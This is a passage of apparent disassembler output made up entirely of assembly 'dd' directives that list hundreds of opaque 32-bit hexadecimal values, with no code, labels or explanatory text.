		dd 460188Bh, 213E7D9Ah,	8D95B262h, 600100F0h, 0F3955E9Bh
		dd 43C001DFh, 13344BF5h, 52508104h, 988B2FC2h, 57913180h
		dd 0EE92EA1Bh, 9DBA973Bh, 846A8C12h, 3D9D2D06h,	3D11B4F6h
		dd 0C0007503h, 0DCA7A6Bh, 0CD74D935h, 7221EC60h, 0EB2D6Dh
		dd 46EFA3Ch, 8F76548Ah,	12261D09h, 230810D3h, 4BF2007Fh
		dd 83CFF6Ch, 2803B788h,	83BB59D0h, 73293A3Eh, 8FECD14h
		dd 77A11900h, 825CD008h, 0D0BF2A27h, 0A207318Ah, 0C478FF20h
		dd 2C0163D3h, 0BB966F9Dh, 4891B650h, 785A806Ch,	4364D165h
		dd 69022283h, 0A28068FEh, 65BADE06h, 80607524h,	83297340h
		dd 2D820EAEh, 0E4755FB7h, 0C4B2FB00h, 334D4459h, 195563Dh
		dd 0C0047C53h, 34D52D3Dh, 15FBB2E4h, 0C0878B3Eh, 3FE35400h
		dd 1DF63089h, 7BADCA1Dh, 0A101D880h, 0FBDE95Ch,	734EE0E5h
		dd 0A9278C80h, 0CCA13E20h, 8E2183Ch, 0D26BC12Ch, 716570h
		dd 863F4E2Dh, 2C188AB3h, 81F1C00h, 2B155D63h, 0B8F91971h
		dd 0FC2931BDh, 6702FBDAh, 23F5BF5Ch, 174048B6h,	0EAB024EDh
		dd 9D308814h, 70666144h, 0DA68740Ah, 0A69148CDh, 2DC97600h
		dd 604DD74Fh, 460CC014h, 0FE7A1490h, 7A8C7C70h,	6BE5146Eh
		dd 988828B2h, 2DC64980h, 17CF4D7h, 1B2987CBh, 92FB34F9h
		dd 43EA3A1h, 21008C70h,	38DD3F59h, 48256C85h, 0C284CC48h
		dd 9A09308Ah, 0AA4510AEh, 6A2FC4BDh, 3C00D808h,	33E39F7Bh
		dd 6F930040h, 0DE1092C7h, 821DCA08h, 0D7C0BE3Eh, 0ED0ED05Ah
		dd 0B4B95409h, 38CCA49Ah, 0B2A6D136h, 71160960h, 0C28D9884h
		dd 172010BCh, 0D4B7FAC6h, 9C092099h, 0F907EA85h, 2CE88057h
		dd 7B09F76Eh, 0B4D594h,	0BF403C48h, 1258B03Bh, 1AFD88Eh
		dd 0C8382AA6h, 0A4A83056h, 587FB93Ah, 0D05D0060h, 0B792ED76h
		dd 0F030302h, 355CE831h, 847B4006h, 158AED1h, 0F4ED809Ah
		dd 31B34CB6h, 0AC9C027Ch, 589A8833h, 0B23A213Eh, 0EDC8895h
		dd 9B6EDAh, 0D658C9B5h,	4C21121Ch, 2F2484FEh, 723E8h, 0E668D194h
		dd 3A03377Bh, 8B799E4Eh, 0A9100C5h, 163DDFA1h, 0FA001C5Bh
		dd 436992E1h, 91F7BD46h, 1A9E0090h, 0F6C7BBC8h,	2557EE00h
		dd 0A0B28D24h, 39AD300Bh, 9A95BE91h, 78381958h,	7C54032Ch
		dd 62611Eh, 3DC7E0DDh, 0E0FC8D3h, 97A00D00h, 0C1CE8C67h
		dd 0B0CCA189h, 2900E8C1h, 6E03AD68h, 7DA898EDh,	0B3F805FCh
		dd 3D65E820h, 0A732D020h, 93950E86h, 72424723h,	0A0B171A3h
		dd 0D03060ADh, 22A07C56h, 641B13CDh, 51350178h,	207995C6h
		dd 0A541ED1Ch, 0CBA13463h, 9E90C39h, 8693DABh, 625AB80h
		dd 0F601D209h, 91447B42h, 0A8911431h, 1A089CAh,	8474D01Ch
		dd 20035452h, 377867FCh, 16F67500h, 9DA4CCECh, 407A62AEh
		dd 948052FEh, 3553656h,	0C0CD7C00h, 0DBB9605Eh,	0C44F00DDh
		dd 4E046F91h, 80928C34h, 14E1FC8Ah, 46518AEh, 0A45AA9Bh
		dd 0FC2CBDh, 0F12D9B35h, 22E389F6h, 0A4D5DE00h,	3BE22998h
		dd 88E4A0A0h, 1951C0BFh, 599073A7h, 62AB8400h, 17B8A451h
		dd 4084AF3Ah
		dd 0BE8B8A09h, 6F3361C0h, 1C949C44h, 476DBFB7h,	80C39936h
		dd 0C4D89B1Fh, 5B601C90h, 4C395AE8h, 609018h, 45F1DE44h
		dd 0A6165FC3h, 1AC9DA00h, 392C1150h, 9A841E88h,	96878037h
		dd 7A016ABAh, 0A8B3D001h, 0A9C2FF7Ch, 3BB28AE0h, 0DA001140h
		dd 8D735305h, 64009C7Eh, 45BC37ACh, 0F894C0h, 3A29B888h
		dd 1222C538h, 4EAC30C0h, 0D90AD0h, 23DF45C6h, 41A80993h
		dd 5084CB1Eh, 0DEA32930h, 0FA500FAh, 0C6C0A7F5h, 0D9004C60h
		dd 0DC30C890h, 35B896h,	87A854E5h, 338A29A1h, 0B91919C0h
		dd 23D65h, 162118B6h, 0D3F0996Ah, 6F1D8D02h, 8E1AD238h
		dd 0D516C034h, 183B630Dh, 181309C3h, 8C12DDEh, 9AB5FF23h
		dd 0A29FD0h, 6F815058h,	0D475DC60h, 9D208B00h, 210DE3E9h
		dd 94D13CFBh, 91F87FB0h, 9903B684h, 0BE574BC6h,	4A51188Ah
		dd 11120883h, 7E428907h, 4730DDCDh, 7F9F2217h, 84FF5426h
		dd 9240949h, 75D3D87h, 0B1719DF9h, 22E42D5Ch, 26E0009Bh
		dd 256D11E9h, 0A50784CCh, 0A74BDF38h, 0D0FF40EEh, 0D1CE7Dh
		dd 1279F4A1h, 40356B6Eh, 0C9A2B600h, 0EA0C8FD6h, 2DBF0EB1h
		dd 967F73h, 0C31E4728h,	0F30312D5h, 0E3167759h,	0BC41A156h
		dd 0E65D2080h, 27493FBAh, 0C6D46900h, 243CEA86h, 0D19C0060h
		dd 54FD43F0h, 0FA727D1Bh, 0C05F9D03h, 0E01CE777h, 0DEA332EEh
		dd 39DE0248h, 877FBF38h, 0F9DE9BDDh, 218FA608h,	33751F5h
		dd 7C65ED0Bh, 567A10Ch,	0F1E16059h, 61C41906h, 52303D8Bh
		dd 1A23EC38h, 0FDAD0839h, 8E00FE16h, 0BB743689h, 7091033Ch
		dd 209DC6EDh, 6A583Eh, 0FD5247E9h, 6732EA7Ch, 0C1181863h
		dd 3557E29h, 4485E18Ah,	0A4ECF0h, 0F7BEE790h, 10F62656h
		dd 1D62AE7Ch, 696229h, 0AA70BD18h, 2D2B2F01h, 590325EBh
		dd 5375C8h, 27828FD7h, 4F9F89FFh, 0E6AF1D01h, 9EE1A419h
		dd 4E01094h, 4EDB2081h,	8FE8F050h, 0E3960600h, 0E62EC1ADh
		dd 0BE371690h, 20A90125h, 84FE7ED7h, 0ACAD7728h, 8F18D0Fh
		dd 8180658h, 0A48C7C33h, 843951B5h, 4F14B150h, 8164284h
		dd 39E73605h, 0B22CB22h, 0CAB60063h, 0A9FAE4DFh, 5B0EB30Dh
		dd 0A08C138Dh, 27F3B58Bh, 37523FEDh, 0F270F901h, 0F821FF95h
		dd 0E00D289h, 7D8D5EE0h, 0A8FD29h, 28F0D671h, 0E8BE23F6h
		dd 0F3D5B200h, 9048E733h, 0D9F0015h, 864C174Ah,	2E00BFF1h
		dd 334931Eh, 5F1A63h, 56577F81h, 0B66732B3h, 6F3ACD1Eh
		dd 1CF290C0h, 5FE899h, 2E95CCFDh, 2318546Bh, 83BF5938h
		dd 0B9FBA2F3h, 0C731C837h, 0D4B72ECBh, 865900DCh, 0A5F5D95h
		dd 8ED85150h, 0F3645E01h, 22CB6928h, 7C957FCh, 6DEA91A8h
		dd 0E0FF20E1h, 0E03E41Fh, 73EDAF9h, 7A1003C6h, 2772F09h
		dd 64227080h, 0C481E000h, 0D54F13E7h, 0D2230006h, 65BA014Dh
		dd 6212402Bh, 0C01550Eh, 75E2447Dh, 3658FCh, 49A82476h
		dd 0AB2A8AF2h, 4E517103h, 0E83B4720h, 33212Eh, 0EDDFCD9Bh
		dd 8692A556h, 62AAF703h, 0D0F65EE2h, 0EDE141D7h, 988DFCh
		dd 0A42F48BEh, 0E75F4B06h, 8203AD00h, 0D4ACB997h, 0E3D90081h
		dd 0D0260ED8h, 0BE01CC72h, 93C373BAh, 0A440F4CAh, 48D967h
		dd 1EA7CB63h, 0FD083A0Eh, 0FAF8A0Fh, 0AC678027h, 3371Ah
		dd 0A4BE2520h, 564368FAh, 0CAAA2807h, 3C409653h, 7CB679D8h
		dd 800800E4h, 0B443DE68h, 0EB0048E0h, 38CC85C3h, 0E26F154Dh
		dd 8670000Eh, 9EE651FCh, 100B58Dh, 0D0693E44h, 3DCAFB75h
		dd 0EF00CC2Dh, 6CB8B716h, 8E07D69Fh, 0DF1FABC4h, 0A27C5701h
		dd 7AC8F60h, 1840766Dh,	0A0D71054h, 0E207E1D2h,	0AD2E1067h
		dd 35A25660h, 0F74F4836h, 0A3865201h, 0E80CD057h, 9C161E5Dh
		dd 4AAB8D2h, 8003A043h,	0A473400h, 9E221001h, 40573D6h
		dd 2FDEC02Eh, 9400E865h, 0D734DEBBh, 2883B345h,	0E8DF06h
		dd 80DA5FEBh, 5D39A9A6h, 85C8CA01h, 68B58CA3h, 907EF230h
		dd 3F510920h, 298034C3h, 4C16440Fh, 24107A26h, 0BFFFC580h
		dd 20A25D6h, 0D7A75D99h, 10401E59h, 0FBECD21Ah,	841C5103h
		dd 0D8C280E6h, 0F2F825h, 0EB70E5A2h, 1E65AC75h,	0C5AE4F00h
		dd 64C4C1D0h, 0DAF8005Ah, 0E40CEFCCh, 0FD1F3894h, 22004F21h
		dd 0E3F593F3h, 0BE3E3B17h, 8BEF0C00h, 0D67086F1h, 0CDB30E00h
		dd 0AA13518Eh, 0E94F00B8h, 1B17E2C3h, 6B0083FFh, 45234B6Fh
		dd 9BB738h, 5C732CCEh, 2002E286h, 35C0B100h, 0F131E07Ah
		dd 79627034h, 0AB4B2079h, 216C0B00h, 4D6AC713h,	593600F7h
		dd 0FBFE5740h, 0C200035Bh, 0AF2F0F77h, 1F335854h, 64D919AEh
		dd 0E81E30B0h, 0E2000D75h, 0F6A6F105h, 0F2D9172Ch, 377BD6h
		dd 25028A62h, 2FBBCD04h, 0E400B9EEh, 0C36F664Fh, 272037h
		dd 0C4A42A3h, 0C173C05Ch, 68BB911Fh, 1F72AA40h,	0F6564674h
		dd 1F3958D6h, 69AC280Fh, 503D97E0h, 1C003329h, 606B1DE6h
		dd 3E729Eh, 0F5A7CC68h,	0EA814B49h, 0FEC1C700h,	0E32DA421h
		dd 0A0E7030Eh, 0D840B944h, 70E67AC1h, 0B300B0CEh, 7F3F2315h
		dd 9D272E5h, 64227A5h, 0DB550C02h, 0C0AD544Bh, 0D180D793h
		dd 0A60042F0h, 321BAF13h, 1C26D44h, 0FAECCF6h, 208C49DBh
		dd 0EC077B10h, 0CB453947h, 42593210h, 0D6F20033h, 519A0846h
		dd 68006040h, 1D3A3441h, 2402B7CAh, 1348E214h, 7C9821ADh
		dd 8F06DCD3h, 64D28500h, 0EB394D4Eh, 0D0F001B4h, 2BFD4505h
		dd 0B153F0EFh, 0E31D4203h, 0E43F24h, 5DEB7990h,	8419F598h
		dd 0A4A0B198h, 430FBEB3h, 0CF4C9Bh, 0C5CDD302h,	0D6580328h
		dd 45B52E96h, 0D56F2390h, 0D000DBB0h, 2CDE8660h, 3948127Dh
		dd 0E80AAEAh, 272343B4h, 654EB5E6h, 2A834C80h, 5930021h
		dd 55D0B217h, 0AE0026ACh, 8DD5D1F3h, 0B65256Ch,	7548E9F8h
		dd 0CF537800h, 0A900054Ch, 0AD36567Fh, 9D81D3h,	6E3360F8h
		dd 6C9128D4h, 0C1D5400h, 0C510CFB9h, 0F55F0027h, 0D2371ECh
		dd 600B318h, 0F1461773h, 7A8F3Ah, 0DAFA01ADh, 20AE72EFh
		dd 0D224E700h, 6A3BF47Fh, 34B86398h, 5080B582h,	2698CC2Bh
		dd 0E39D6200h, 0B921887Fh, 56906Fh, 0B1C8B36Ch,	65F4C92Ah
		dd 1457D900h, 3BAEA0C0h, 7C5E0174h, 0E040235Ah,	765FEC53h
		dd 78A3DF00h, 0CAC891A1h, 0F9CC00CDh, 0FE42442Ch, 0D40FECB3h
		dd 0CFE9A7DDh, 5585E04Ah, 61453Fh, 882A8117h, 82B6780Dh
		dd 0F6C6E100h, 8D7DDF05h, 0E6A700F0h, 6771AC33h, 59E0D44Ch
		dd 0A26F70C0h, 0A32AE0h, 98357EF9h, 0BE88A612h,	9D60BF1Eh
		dd 8FF7F040h, 1D97C194h, 40F9E3ECh, 0EE863A5Bh,	0E7F00CFBh
		dd 9566E900h, 9A549245h, 4F401FEh, 7D1562D8h, 4F5BD4A0h
		dd 2B96BB1Eh, 3C28C030h, 0EA06789Eh, 15D21F0Ch,	0C04800B4h
		dd 0DE01D89Bh, 38298806h, 1909455h, 0ED41397Bh,	0D002D32Bh
		dd 6C09E4DAh, 2CFD428h,	6078FBDBh, 40C1C7h, 0BDA6B93Fh
		dd 10E13365h, 44B44900h, 9C9A0FB8h, 0C24D0060h,	0F10BAD2Bh
		dd 0EA04DA8Ah, 8B5BE37Ch, 238636C0h, 37670046h,	0E1B4D56Dh
		dd 5E00D865h, 944451D9h, 5A3B8DFh, 0FD5C2D60h, 0FBAAC4Bh
		dd 47E43138h, 6350A021h, 654391h, 0F01781D6h, 0AB06DF0Ch
		dd 0C1FE2B1Dh, 0CCB2E700h, 3D0E030h, 0FF8190DDh, 37E87228h
		dd 5000277Dh, 0BFCB7347h, 5BF3AAh, 0C9010AACh, 26D81B82h
		dd 0B1ED6C03h, 0A063D472h, 8DBB10h, 9B9C4B2Ch, 0B9D105CCh
		dd 47E07300h, 13D6B39Dh, 268E00FCh, 0E8B107E6h,	44FABFFBh
		dd 151CEC00h, 0A4FCB9F2h
		dd 51F1004Ah, 9F03543Bh, 0DF7821E4h, 0A6FEF0Eh,	0C74EE0D4h
		dd 7AD5F81h, 43B54759h,	0AF5430E5h, 0D20CD57Ah,	0C0388A03h
		dd 384A7A4Dh, 0F3045F5Bh, 803B8B54h, 618186CAh,	7740EE00h
		dd 4FFE87E3h, 64F400F5h, 0A2CFD229h, 0EA0076A4h, 3F6B2AD5h
		dd 2237A3h, 875BACD3h, 0FD9BF129h, 0C0B26E00h, 0FBDAB113h
		dd 9CCB1752h, 422D0077h, 12B81CC6h, 0C36E9200h,	2264D033h
		dd 0E74E3F4Bh, 24C4B98Eh, 80B25020h, 0C10007EFh, 190EF156h
		dd 7B363F68h, 12B90074h, 3A5FA396h, 0C1E8DF39h,	0AF615200h
		dd 1FB20FDEh, 0F117003Ch, 8D6EB568h, 20F7BDE2h,	1C1440F8h
		dd 0F0BA0Dh, 25F95D3Ah,	78FD829Ah, 98EE001Ah, 0B0468A5Ah
		dd 0BE00AA0Eh, 0F419E212h, 0AD0A4EDh, 0EE9CA0B1h, 0C76405F4h
		dd 59DD026Dh, 9C808AF5h, 3DC57C84h, 0A4879B00h,	0ADDF5C29h
		dd 0DBA900F2h, 0DC3330D8h, 0BB1C2636h, 0BC83C732h, 0E8814C1Ch
		dd 44A87Ah, 0DBC24008h,	9E2E76C0h, 5079EF00h, 0BE2FD0A1h
		dd 0B9980020h, 35B13A66h, 3000035Eh, 92845F0Ch,	26EAAA8Ah
		dd 0AE31F2h, 65F9AC21h,	3D78BD42h, 7241B700h, 27891A12h
		dd 7399732Bh, 86EF0316h, 0FE8E0FC0h, 97054AA0h,	0A2BCBA00h
		dd 17EDEB8Bh, 2890021h,	0D3D12D6Dh, 7B004E53h, 0B2992445h
		dd 51925C81h, 8CECACB5h, 1A700068h, 9B095215h, 30013917h
		dd 0E633FEF1h, 0B040D2E1h, 0E092FD64h, 275F0091h, 6B74B267h
		dd 0F6790DE4h, 46CD2900h, 8BFCEAFAh, 81400064h,	0C54548E1h
		dd 0EE38C287h, 0E28E802Bh, 2064A407h, 711601BDh, 58F2FD91h
		dd 76B440B9h, 4AF8CFEEh, 8D31B500h, 8382C625h, 0D4EF2C9Dh
		dd 338B3E9Bh, 8F033FA4h, 15C0227Bh, 0EF00892Eh,	25343BBAh
		dd 34EF093h, 2A8970Ah, 0C3CC0E49h, 0C6B8B56Ch, 1000CB37h
		dd 0EC3848C4h, 2C235621h, 73B26h, 0B06609A5h, 1100B6C9h
		dd 1546C336h, 2448D78Eh, 3D44C10Dh, 2784ACh, 0AC1E44F0h
		dd 6F00E83Ah, 158B1B4Ch, 1D3CB2B6h, 8FABBFAAh, 1C031FEEh
		dd 0D08945C2h, 9DC0201Bh, 78A6C016h, 0BBD8FD00h, 4D1B361h
		dd 1C9AE302h, 0E96C906Bh, 1748A33Eh, 95FD0349h,	0A02DED8Ah
		dd 917248h, 0DB9287A9h,	500906BCh, 2983D100h, 394908F0h
		dd 52AFA0F2h, 0DC5C1E4Ch, 627A80C2h, 385FF8A0h,	6BFF6C03h
		dd 0F0605137h, 0A4A14Eh, 6DCCDB68h, 83F4F3B0h, 2BE44D07h
		dd 41015C4h, 0EF0AFEDFh, 0B03B8040h, 81794C4Bh,	57841000h
		dd 91B4047Bh, 4808C900h, 70BFD027h, 0CB1B00A6h,	0ACF2DC0Dh
		dd 2E1D3269h, 0A140F5C0h, 0DFA7BEE1h, 0A91B003Eh, 0B762F10Fh
		dd 300EE9Eh, 0FAADCFD5h, 26CE8DF7h, 8000BFB1h, 7912469Dh
		dd 7A005E25h, 2B82C819h, 0CEB305h, 0F36ECCEEh, 287F91EAh
		dd 0B1618A00h, 6B9AB241h, 0D57216h, 3908C883h, 909D6346h
		dd 0CE939503h, 4C0F002h, 4DD08060h, 0F0D80AEh, 980046B5h
		dd 0E94FA988h, 1EAF84F1h, 406B41FBh, 7BCF387Ah,	8E018BB0h
		dd 0E25855B6h, 66FC34B1h, 0BAF60F88h, 99AF3248h, 0FCCAA83Bh
		dd 634AEB40h, 28879C00h, 340E1184h, 3ADA00C7h, 5348ECF2h
		dd 150E392Fh, 205CEE03h, 38948DE2h, 0FAB518F5h,	0E385C09Ah
		dd 60F18914h, 4A7113CCh, 33CD8501h, 0EAF8693Eh,	0F51900BEh
		dd 211046BDh, 4707351Eh, 1CC91F3Bh, 0E6F80049h,	9893AB14h
		dd 16733CF5h, 804B329Fh, 4E7B8990h, 621E556Bh, 72C5F604h
		dd 0F800B9DAh, 0EDFB0725h, 87CC096Dh, 340048B8h, 468886FDh
		dd 926024h, 8D4A9700h, 90905EEh, 1FF4CE94h, 0EDDA1C20h
		dd 0E7728E0Eh, 256403Bh, 3BF72E2Bh, 183068E3h, 0EC211E36h
		dd 166D81A3h, 0D07BD1B2h, 577D9B32h, 7527CA00h,	0C8D56F4Ah
		dd 7A94C017h, 0BC9246B7h, 68BF5630h, 7E4CB0FBh,	54970FE4h
		dd 9960175Ah, 7606DEC0h, 0A616A100h, 5AC8CE9h, 10A76024h
		dd 9AD53263h, 59F86701h, 8D843361h, 350C8FCh, 40CBAF6Bh
		dd 6007EC80h, 6685DADFh, 4239D311h, 589FF3CCh, 2D00A8A8h
		dd 0CB272874h, 0B200A66Bh, 6F080292h, 1E06E84h,	5DE3C6A4h
		dd 6041B35Ah, 5B00F144h, 338C7D4Ah, 0F7A3DFh, 0A17434A9h
		dd 46E58336h, 717EFC00h, 706BF3B8h, 9A28004Ch, 4BAF5D07h
		dd 0E8A06E3Ch, 58707DE8h, 0C7BA7900h, 0E131578Ah, 5C3C002Bh
		dd 0FFFBC307h, 217F8ED0h, 0F0B4BF00h, 0CDF2A889h, 5A8D262Bh
		dd 6D94014Dh, 0C9D9B69Eh, 0DD77F074h, 9800A77Ah, 144DDBADh
		dd 7DFA6C6h, 0AB95B1BDh, 0BE4F3066h, 64055718h,	0B3E29C77h
		dd 2D3A70C0h, 0C1EEF2h,	171009F4h, 0E97D1CA2h, 5C9CC003h
		dd 0A112B45Fh, 0BC60BC18h, 0BA4A0279h, 0A64AED7h, 0D0F90440h
		dd 0CE05C20Ch, 6C1001h,	0CA16BBAh, 0C357E69Fh, 0AEDCF6C0h
		dd 79EEBCFBh, 0E0960076h, 1B3F4424h, 0B6740686h, 0CEA1F600h
		dd 1C37E39Fh, 0A61E00DBh, 0F23C40CDh, 0F000BA8Eh, 0ABC48BD2h
		dd 3EFADEE0h, 720FC871h, 372F5851h, 0AAF04BA0h,	407DA98Fh
		dd 86A17900h, 0E668C91Ah, 0A44E0466h, 0C0FDF5EAh, 0CFA6151Fh
		dd 287C8706h, 108286h, 8A7F7B0h, 3290966h, 63337D12h, 0EEDF2802h
		dd 0B9E002E6h, 0F24E5845h, 9AB5140Ah, 8321A000h, 117AD12h
		dd 1CFA135Fh, 0DCF96776h, 0B4008480h, 8819E9DCh, 1F1CF07h
		dd 0B7A4B31h, 345D1C0Eh, 95EE3000h, 0D684F900h,	0D246B902h
		dd 56F40B3Dh, 40305E92h, 0EE1E5DCFh, 0F5409860h, 0DF9ED904h
		dd 0E7B703A2h, 0C68B6746h, 7C10ECF0h, 0C4F98328h, 55C0E650h
		dd 87093600h, 29AD7E8Dh, 833203E1h, 9AECBC0Dh, 0DE9347C0h
		dd 6EEBE1Eh, 1D554887h,	4C620480h, 36D40082h, 74C3DB5Ah
		dd 61008C35h, 0F5C9DF0Eh, 0BC6D79h, 0F70532E7h,	0BD315352h
		dd 37ADB400h, 0F24A3480h, 0D3AA00B5h, 0DB97AF77h, 993B74D2h
		dd 0C6B48F4Fh, 8F04605Fh, 10FE626h, 0F975F0E9h,	0C8312D6Ah
		dd 112C1B83h, 9340DC04h, 1E0EF3FDh, 1E0A58h, 1D7B16F7h
		dd 0BF0E78E9h, 4030E194h, 2D2BB04Fh, 0C2ED00F6h, 0FC7AD572h
		dd 0F8B03893h, 0DF124AFEh, 0D0044227h, 0F7C7C3E2h, 7F2860C0h
		dd 2D5A03DEh, 8EFD5C63h, 883ED8F0h, 19C52600h, 91875039h
		dd 8586127Ch, 0DB9800BBh, 0CD35AF12h, 0CFA80913h, 9A8BF700h
		dd 304AB9h, 4B8DA6EEh, 359E336Eh, 0E74EDD03h, 0EF170C48h
		dd 0D145FFF1h, 2352C840h, 89D2265Dh, 0F67F04A0h, 622B00C0h
		dd 3D8626FAh, 5B93CE08h, 7FDC20F4h, 0CC13FB51h,	6000073Bh
		dd 39523810h, 0C0B0ACh,	7D1BD4C3h, 0FD132178h, 7B00C57Fh
		dd 0A106A0DBh, 861476h,	3B3D42EDh, 5568CE5Dh, 7678EC48h
		dd 6FDC2402h, 4802D00Dh, 13A0AD98h, 5476E7Fh, 813B5CF8h
		dd 8059E336h, 0A18E0A10h, 0C2C49BAh, 5A15F4A5h,	583E1218h
		dd 1E4A8704h, 0A2505BB5h, 90B43596h, 0B67CA4h, 0D979C41h
		dd 26EAF1F4h, 5AB7BB01h, 8EEEBF37h, 3F5D4AC0h, 8280154Eh
		dd 0D9F2AB52h, 10C0261Fh, 2161B9B0h, 870428F0h,	0DCBA0090h
		dd 62D304Ch, 277985E1h,	1A45F31Eh, 2F1DE40h, 0E01E82DBh
		dd 0BD0B00C0h, 947D3425h, 59007593h, 0F0C92E56h, 7E40FB8h
		dd 7AEFB4BAh, 0D420498Dh, 0A7213EFFh, 2B3A2E01h, 8B1DDD5Eh
		dd 62E4B4D1h, 7223F6BDh, 6F5700F4h, 6738AFA7h, 0CC3A1286h
		dd 848F809Eh, 3FCFE556h, 246AE2EDh, 8E50FD66h, 70B0DEAAh
		dd 68D35Ch, 6A6564E6h, 0FC814363h, 0C05D00C3h, 0D02E9E01h
		dd 230F3DAAh, 0D32CDBDEh, 0E2431040h, 6FFF81E8h, 48299053h
		dd 0B639D0C0h
		dd 6A384C00h, 0F9FFED84h, 1FA701F8h, 3E80B72Ch,	5E0F6050h
		dd 0A30B5704h, 44C0CB03h, 6E1047h, 6359E93Bh, 16D735E3h
		dd 3223FC07h, 11E348CAh, 0D4469086h, 3D2007Ch, 2CD57DA2h
		dd 0F500F46Ch, 47B79122h, 711EA3Dh, 0BA892308h,	7F365084h
		dd 0B6008AEDh, 92F6D628h, 0D38DE9h, 1E5A9910h, 389EE205h
		dd 2ADADE12h, 8B11C40h,	4A279Ch, 0BC16FD18h, 4B1B11BFh
		dd 219A451Eh, 11D3558Ch, 768D12A0h, 829C0319h, 3A593C0h
		dd 281534E0h, 58507DBAh, 4B00B77Fh, 93E6C74h, 48DD6E96h
		dd 7127D1h, 0D32B7A35h,	0DAC174Ah, 7089F700h, 0D5447821h
		dd 0CBF50045h, 653B22B1h, 2800A002h, 9E5CDF6h, 49A78D67h
		dd 2700E07Ah, 2DD4B53Dh, 2EF2CBD2h, 71B02A5Bh, 9CB42Bh
		dd 0CC0C3CE6h, 0C54C7240h, 0A7B20684h, 0F41C913h, 9274DC41h
		dd 4E75F4E0h, 0D0C0C1FAh, 0E7E50467h, 0C5DD0022h, 982D4A96h
		dd 0DC009C63h, 0F273B31Eh, 0E40BEBDh, 0D10C7D6Eh, 6FEFA040h
		dd 0FE0989CEh, 6BBE8h, 0F2351704h, 6A46007Fh, 85EE2A65h
		dd 0EF008DACh, 0BA912ED7h, 0C02BBD95h, 74DBE219h, 2C1C3D45h
		dd 0CB8141C5h, 785D2FEFh, 0DFE7ACF8h, 70FD94B8h, 1A7D2903h
		dd 7CB88FBBh, 0E500B2E2h, 7651879Eh, 2BC6D0h, 0E9E4C5BEh
		dd 0F3E331DCh, 8066093Ah, 15FD5BCAh, 0D126Fh, 322C39EFh
		dd 6745EB07h, 6E4FE20Eh, 91D883EEh, 1DEE306h, 0AF768971h
		dd 8021CB61h, 5BECB110h, 99D5Ch, 47BFF1C6h, 8D731F9Bh
		dd 59F01C00h, 3EE026E9h, 8050098h, 140C326Dh, 0DC07E6CBh
		dd 45CD18F7h, 88516446h, 923B07CCh, 39DA002Ch, 6F6CD4D7h
		dd 590C3676h, 0E1FD4DB9h, 31350008h, 6C0F9925h,	28C8D379h
		dd 5F234272h, 52211124h, 4E5190AAh, 485C8684h, 9FDB42EDh
		dd 0CD220A24h, 0C408E911h, 8B66E344h, 35E840B7h, 54077F32h
		dd 339DC1A7h, 0B22E2D30h, 4054EE6h, 0C3A94FA0h,	6FA0304h
		dd 915CA8D2h, 7D38132Ch, 535A3300h, 0E4C2D36Ah,	86EF0B02h
		dd 9C23D779h, 1800CA24h, 19C329EEh, 76C73FBh, 4C545FEBh
		dd 4200190Eh, 9FF79248h, 16BCFD00h, 318B197Fh, 42410055h
		dd 5288EB2Dh, 7E0373C9h, 710DB7F7h, 0DA5FF8FBh,	99E20021h
		dd 0F87F7C44h, 911249EDh, 0F00068A2h, 75120945h, 1894F271h
		dd 182E96E0h, 893F2D79h, 0EF990007h, 0B2B8153Eh, 63D10372h
		dd 0E2C6E387h, 0ADEB8998h, 96A7E500h, 0A6A2DA60h, 0E01838E4h
		dd 6EA1CA00h, 32449264h, 6F3DC8E0h, 0EC50071h, 0A3194245h
		dd 0DE8D0408h, 80B0B44Ch, 3F8A9C18h, 244D5500h,	4ECB6FEBh
		dd 10710335h, 0CE2609B8h, 46D2D4C8h, 8F82861Dh,	0AF0F0D80h
		dd 0C15FF1h, 783E7C96h,	7DB3A28Ah, 57D87A00h, 19A7DD70h
		dd 70A84B3Ah, 0AEA62DE8h, 0EC076A4Ah, 9520E3D0h, 534374h
		dd 0A971D799h, 45277ECFh, 6AC33E07h, 259063A8h,	5ABD5102h
		dd 1856A82Ch, 0D1C061AEh, 6DF80074h, 0BAE09FC1h, 0F909A17Bh
		dd 40251AE5h, 3CE7728Ch, 6C00FC37h, 0D447AF8Ah,	2C3C3602h
		dd 4B2118FFh, 0AD5C10h,	516B32A7h, 8EE11379h, 61008C76h
		dd 4B2AA1FFh, 9EE55h, 0A285F946h, 0C62D2E25h, 8467991Fh
		dd 89CBB0C0h, 711CF8h, 2ED64717h, 0ADCECA69h, 0B01D092h
		dd 8A6D063Fh, 0B0CCBFF0h, 0FDF400A1h, 44CE4A40h, 0EF009E73h
		dd 0FF85638h, 1084FE1h,	0ADB65A03h, 82722893h, 0FF124520h
		dd 0A227E0D0h, 3A49E26h, 0EDF25BA8h, 618A2380h,	58653Eh
		dd 1C41DC5Ch, 0F852AA1Ah, 0B3F90ED2h, 0AE26262Bh, 0E13D502Fh
		dd 141700B7h, 5FB551ADh, 74E400F7h, 4D711B22h, 43135C39h
		dd 0CE079229h, 0FC207AA1h, 0B8EF6456h, 0CCEC011Ch, 19E38D83h
		dd 0B786E02Eh, 45D46301h, 0BEF236DBh, 0F6BA2720h, 308101B8h
		dd 99D0A486h, 0F30470E7h, 7E4CBD00h, 987D56E2h,	902E4C4Fh
		dd 0F46BD600h, 2F9FEF81h, 51F15000h, 0F2397D0Fh, 79277B5h
		dd 4BB24A16h, 52DD108Dh, 65006236h, 85BB87E4h, 34C2FCh
		dd 46A315C1h, 98F7973Ch, 83000498h, 0F85B7F3Ah,	0E8078B26h
		dd 0C0BA4837h, 0C9239800h, 0B2A42886h, 0B42AD100h, 88B1070h
		dd 5C11003Dh, 0BE329107h, 7B002CC6h, 0A91E60D0h, 0EF80A0h
		dd 4A920DC7h, 911BDBAFh, 0B3BB1900h, 15C3F358h,	0C52813EEh
		dd 0DF88C051h, 4101FBADh, 8F95D8F6h, 5C20A93Ah,	10451DACh
		dd 80F20013h, 9AA02D19h, 0EB0061F0h, 3F66D8A7h,	0EC71820Ch
		dd 98AF1329h, 0F2FC0328h, 5F8B9CA1h, 4BE9611Ch,	5D74FB40h
		dd 0B839A87h, 5A6FD430h, 0DBD0FC40h, 90E0B50Fh,	76CD00C4h
		dd 3F971143h, 580A958h,	0B8FC8616h, 0EC005707h,	48B23156h
		dd 30770B8Fh, 0CF2A5D13h, 36001C92h, 6476275Ch,	0F54788h
		dd 0F161609Dh, 2B95ADA4h, 0EDC24D07h, 0A160F3DFh, 49D176h
		dd 2341D577h, 0B37DA46h, 8FD3420Eh, 35419D83h, 40E3D99Eh
